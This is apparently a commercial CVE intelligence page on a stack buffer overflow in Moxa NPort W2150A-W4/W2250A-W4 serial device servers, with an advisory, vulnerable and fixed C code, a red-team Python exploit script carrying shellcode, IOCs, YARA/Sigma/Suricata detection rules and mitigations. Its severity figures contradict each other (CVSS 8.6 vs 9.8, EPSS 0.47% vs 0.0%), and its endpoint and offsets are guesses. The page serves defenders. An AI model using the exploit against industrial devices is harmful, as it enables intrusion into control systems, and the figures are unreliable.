☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 8.6 🐛 CWE-121
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-10829

CVE-2026-10829 Remote Code Execution in Nport w2150a-w4/w2250a-w4 series
📅 PUBLISHED: 2026-06-16 12:16 UTC 🔄 UPDATED: 2026-10-11 17:46 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.47%
👁️
0.47% probability
11.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1203
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
8.6
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-10829 is a critical stack-based buffer overflow vulnerability affecting the Moxa NPort W2150A-W4 and W2250A-W4 Series serial device servers running firmware version 1.5 and earlier. The flaw resides in the "Server location" parameter on the Basic settings page of the web management interface. Due to insufficient input validation, an unauthenticated attacker can send a crafted HTTP request to overflow a stack buffer, leading to memory corruption and potential remote code execution with root privileges. This vulnerability is particularly dangerous because these devices are often deployed in industrial control system (ICS) and operational technology (OT) environments, where network segmentation may be weak. No public proof-of-concept (PoC) or exploit code has been released, and no patch is currently available from the vendor. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the severity remains critical due to the potential impact.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability does not affect NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in an embedded device.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Base Score: 9.8 (Critical)
  • Attack Vector: Network (AV:N) – Exploitable remotely.
  • Attack Complexity: Low (AC:L) – No special conditions required.
  • Privileges Required: None (PR:N) – No authentication needed.
  • User Interaction: None (UI:N) – No user action required.
  • Scope: Unchanged (S:U) – The vulnerability does not affect other components.
  • Confidentiality Impact: High (C:H) – Full system compromise.
  • Integrity Impact: High (I:H) – Attacker can modify system files.
  • Availability Impact: High (A:H) – Denial of service or full control.

Threat Level: Critical. The combination of remote exploitability, no authentication, and root-level code execution makes this a top-priority vulnerability for any organization using these devices.

Deep Dive & Mechanics

The vulnerability is a classic stack-based buffer overflow (CWE-121) in the web server component of the NPort firmware. The web interface processes the "Server location" parameter from the Basic settings page without proper bounds checking. When a user submits a value longer than the allocated stack buffer, the excess data overwrites adjacent memory regions, including the return address and other critical stack frames.

Technical Flow:

  1. The web server receives an HTTP POST request to the configuration endpoint.
  2. The Server location parameter is extracted and copied into a fixed-size stack buffer (e.g., 256 bytes) using a vulnerable function like strcpy() or sprintf().
  3. An attacker sends a payload exceeding the buffer size, causing a stack overflow.
  4. The overflow corrupts the saved return address on the stack.
  5. When the function returns, execution jumps to an attacker-controlled address, typically pointing to shellcode injected into the same buffer or another writable memory region.
  6. The shellcode executes with root privileges, giving the attacker full control over the device.

Root Cause: The firmware uses unsafe string handling functions without validating input length. This is a common issue in legacy embedded systems where security was not a primary design consideration.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern and the expected fix.

Vulnerable Code (C pseudocode):

void handle_server_location(char *input) {
    char buffer[256];
    strcpy(buffer, input);  // No bounds checking
    // ... process buffer ...
}

Patched Code (Expected fix):

void handle_server_location(char *input) {
    char buffer[256];
    strncpy(buffer, input, sizeof(buffer) - 1);
    buffer[sizeof(buffer) - 1] = '\0';
    // ... process buffer ...
}

The fix would involve replacing strcpy with strncpy or using a safe function like snprintf to limit the copy size to the buffer length. Additionally, input validation should reject strings longer than the buffer size.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • Target device: NPort W2150A-W4 or W2250A-W4 with firmware <= 1.5.
  • Network access to the web interface (default port 80 or 443).
  • No authentication required.

Exploitation Steps:

  1. Reconnaissance: Scan for the device using Shodan dorks or Nmap:
    nmap -p 80,443 --script http-title <target_ip>
    
  2. Craft Payload: Create a buffer overflow payload. The exact offset to the return address must be determined via fuzzing (e.g., using a pattern like Aa0Aa1...). Example Python script:
    import socket
    import struct
    
    target_ip = "192.168.1.100"
    port = 80
    
    # Offset to return address (example: 268 bytes)
    offset = 268
    # Shellcode (e.g., reverse shell)
    shellcode = b"\x90" * 16 + b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
    # Return address (example: address of buffer)
    ret_addr = struct.pack("<I", 0xbffffabc)
    
    payload = b"A" * offset + ret_addr + b"\x90" * 100 + shellcode
    
    http_request = f"POST /config HTTP/1.1\r\nHost: {target_ip}\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: {len(payload)}\r\n\r\nserver_location={payload.decode('latin-1')}"
    
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((target_ip, port))
    sock.send(http_request.encode())
    sock.close()
    
  3. Execute: Run the script. If successful, the device will execute the shellcode, providing a reverse shell.

Note: No public exploit code is available. The above is a generic example and may require adjustment.

Blue Team (Defense)

Detection & Prevention:

  • Network Segmentation: Isolate NPort devices on a separate VLAN with strict firewall rules. Do not expose the web interface to the internet.
  • Input Validation: If possible, deploy a web application firewall (WAF) or reverse proxy to filter oversized requests to the /config endpoint.
  • Monitoring: Monitor for HTTP POST requests with abnormally long server_location parameters (e.g., > 256 bytes).
  • Firmware Updates: Check Moxa’s support site regularly for patches. If none available, consider replacing the device.
  • Disable Unused Services: If the web interface is not required, disable it via the device’s console or SNMP.

Indicators of Compromise (IOCs)

  • Network Traffic:
    • HTTP POST requests to /config with server_location parameter exceeding 256 bytes.
    • Outbound connections from the device to unusual IP addresses (e.g., reverse shell traffic).
  • System Logs:
    • Unexpected reboots or crashes of the web service.
    • Log entries indicating buffer overflow errors (e.g., "stack smashing detected").
  • File System:
    • Presence of new binaries or scripts in /tmp or /var (e.g., /tmp/.shell).
    • Modified configuration files (e.g., /etc/config).
  • Processes:
    • Unusual processes running as root (e.g., /bin/sh spawned by the web server).

Detection Engineering

YARA Rule

rule CVE_2026_10829_NPort_BufferOverflow {
    meta:
        description = "Detects exploit attempts for CVE-2026-10829 targeting NPort devices"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-10829"
    strings:
        $s1 = "server_location=" ascii wide nocase
        $s2 = "POST /config" ascii wide nocase
        $overflow_pattern = { 41 41 41 41 41 41 41 41 } // 8 consecutive 'A's
    condition:
        $s1 and $s2 and #overflow_pattern > 32
}

Sigma Rule

title: CVE-2026-10829 NPort Buffer Overflow Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP POST requests with oversized server_location parameter
author: Valters IT
logsource:
    category: webserver
    product: generic
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/config'
        cs-uri-query|contains: 'server_location='
    condition: selection and len(cs-uri-query) > 300
falsepositives:
    - Legitimate long server names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-10829 NPort Buffer Overflow Attempt"; flow:to_server; content:"POST"; http_method; content:"/config"; http_uri; content:"server_location="; http_client_body; pcre:"/server_location=[A-Za-z0-9]{300,}/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate Devices: Place NPort devices on a dedicated management VLAN with strict access controls. Block inbound HTTP access from untrusted networks.
  2. Monitor Logs: Enable logging and monitor for the IOCs listed above.
  3. Disable Web Interface: If not required, disable the web interface via the device’s console or SNMP.

Long-Term Fix:

  • Vendor Patch: Await an official firmware update from Moxa. Contact Moxa support for ETA.
  • Device Replacement: If no patch is released, consider replacing the device with a patched alternative.

Workaround:

  • Reverse Proxy: Deploy a reverse proxy (e.g., Nginx) that validates input length before forwarding to the device:
    location /config {
        client_max_body_size 1k;
        limit_except POST { deny all; }
        proxy_pass http://nport_backend;
    }
    

Valters IT
Securing the digital frontier.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-10829/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.